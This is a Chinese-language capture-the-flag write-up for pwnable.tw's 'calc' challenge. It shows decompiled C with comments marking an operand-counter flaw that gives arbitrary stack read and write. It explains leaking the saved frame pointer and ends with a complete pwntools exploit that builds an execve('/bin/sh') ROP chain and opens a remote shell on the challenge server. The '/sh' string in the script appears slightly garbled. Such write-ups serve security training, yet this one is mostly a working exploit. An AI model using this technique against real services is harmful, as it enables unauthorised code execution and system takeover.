查看文件基本信息
分析程序行为
静态分析
1 unsigned int calc() 2 { 3 int every_num[101]; // [esp+18h] [ebp-5A0h] BYREF 4 char s[1024]; // [esp+1ACh] [ebp-40Ch] BYREF 5 unsigned int v3; // [esp+5ACh] [ebp-Ch] 6 7 v3 = __readgsdword(0x14u); 8 while ( 1 ) 9 { 10 bzero(s, 1024u); 11 if ( !get_expr((int)s, 1024) ) // 获取输入的公式,限制长度1024, 12 break; // 所以不存在栈溢出 13 init_pool(every_num); // 将数组的每一个单位初始化为0 14 if ( parse_expr((int)s, every_num) ) 15 { 16 printf("%d ", every_num[every_num[0]]); // every_num的第一个数存放 17 // 数组的长度,计算结果放在 18 // 最后一个数中 19 fflush(stdout); 20 } 21 } 22 return __readgsdword(0x14u) ^ v3; 23 }
1 int __cdecl parse_expr(int expression, _DWORD *every_num) 2 { 3 int v3; // eax 4 _BYTE *temp; // [esp+20h] [ebp-88h] 5 int i; // [esp+24h] [ebp-84h] 6 int v6; // [esp+28h] [ebp-80h] 7 unsigned int v7; // [esp+2Ch] [ebp-7Ch] 8 char *s1; // [esp+30h] [ebp-78h] 9 int v9; // [esp+34h] [ebp-74h] 10 char fuhao[100]; // [esp+38h] [ebp-70h] BYREF 11 unsigned int v11; // [esp+9Ch] [ebp-Ch] 12 13 v11 = __readgsdword(0x14u); 14 temp = (_BYTE *)expression; 15 v6 = 0; 16 bzero(fuhao, 0x64u); 17 for ( i = 0; ; ++i ) 18 { 19 if ( (unsigned int)(*(char *)(i + expression) - 48) > 9 ) 20 { 21 v7 = i + expression - (_DWORD)temp; 22 s1 = (char *)malloc(v7 + 1); 23 memcpy(s1, temp, v7); 24 s1[v7] = 0; // 给字符串设置结尾 25 if ( !strcmp(s1, "0") ) // 只要是表达式中出现0,就报这个错误 26 { 27 puts("prevent division by zero"); 28 fflush(stdout); 29 return 0; 30 } 31 v9 = atoi(s1); 32 if ( v9 > 0 ) 33 { // 漏洞点 34 v3 = (*every_num)++; // 一直对数组中的第一个数进行加1,最后这个值即为表达式中数字的数量 35 every_num[v3 + 1] = v9; // 若能控制every_num数组的第一个数,就能够实现任意读写 36 } 37 if ( *(_BYTE *)(i + expression) && (unsigned int)(*(char *)(i + 1 + expression) - 48) > 9 ) 38 { 39 puts("expression error!"); // 如果出现两个符号相连,就报错 40 fflush(stdout); 41 return 0; 42 } 43 temp = (_BYTE *)(i + 1 + expression); // 将temp指向下一个数字的头部 44 if ( fuhao[v6] ) 45 { 46 switch ( *(_BYTE *)(i + expression) ) 47 { 48 case '%': 49 case '*': 50 case '/': 51 if ( fuhao[v6] != '+' && fuhao[v6] != '-' ) 52 goto LABEL_14; 53 fuhao[++v6] = *(_BYTE *)(i + expression); 54 break; 55 case '+': 56 case '-': 57 LABEL_14: 58 eval(every_num, fuhao[v6]); 59 fuhao[v6] = *(_BYTE *)(i + expression); 60 break; 61 default: 62 eval(every_num, fuhao[v6--]); 63 break; 64 } 65 } 66 else 67 { 68 fuhao[v6] = *(_BYTE *)(i + expression); // 用于处理循环第一次时,给第一个符号数组进行赋值 69 } 70 if ( !*(_BYTE *)(i + expression) ) 71 break; // 如果是空的,那就结束程序 72 } 73 } 74 while ( v6 >= 0 ) 75 eval(every_num, fuhao[v6--]); 76 return 1; 77 }
漏洞利用
静态链接存在大量gadget,故考虑用ret2system,这里程序中不存在现成的“/bin/sh”,所以需要手动输入到栈中,但这样得需要知道栈的地址
所以这里利用calc函数栈中的old_ebp来确定栈的位置
来看一下动态调试中,刚进入calc函数时,栈的情况:
这里的c8位置,即为old_ebp的位置,我们可以用every_num[360]来进行泄露
那么同样的,cc位置为every_num[361],d0位置为every_num[362],d4位置为every_num[363]……
需要注意的是,e8这个位置,是我们泄露出来的old_ebp,所以可以直接用这个old_ebp来相对表示栈的其他位置,比如e4位置可以表示成old_ebp-0x4,ec位置可以表示成old_ebp+0x4等等
所以找到合适的gadget后,可以按下图来覆盖栈
EXP
from pwn import * # context.log_level = 'debug' ''' 0x0805c34b : pop eax ; ret 0x080701d0 : pop edx ; pop ecx ; pop ebx ; ret 0x08049a21 : int 0x80 ''' # io=process('./calc') io=remote('chall.pwnable.tw','10100') io.recvuntil('=== Welcome to SECPROG calculator ===') io.sendline('+360') io.recv() old_ebp=int(io.recv()) gadget=[0x0805c34b,0xb,0x080701d0,0,0,old_ebp,0x08049a21,u32('/bin'),u32('/shx00')] for i in range(0,len(gadget)): io.sendline('+'+str(361+i)) tmp=gadget[i]-int(io.recvline()) if tmp>0: io.sendline('+'+str(361+i)+'+'+str(tmp)) else: io.sendline('+'+str(361+i)+str(tmp)) io.recvline() io.sendline() io.interactive()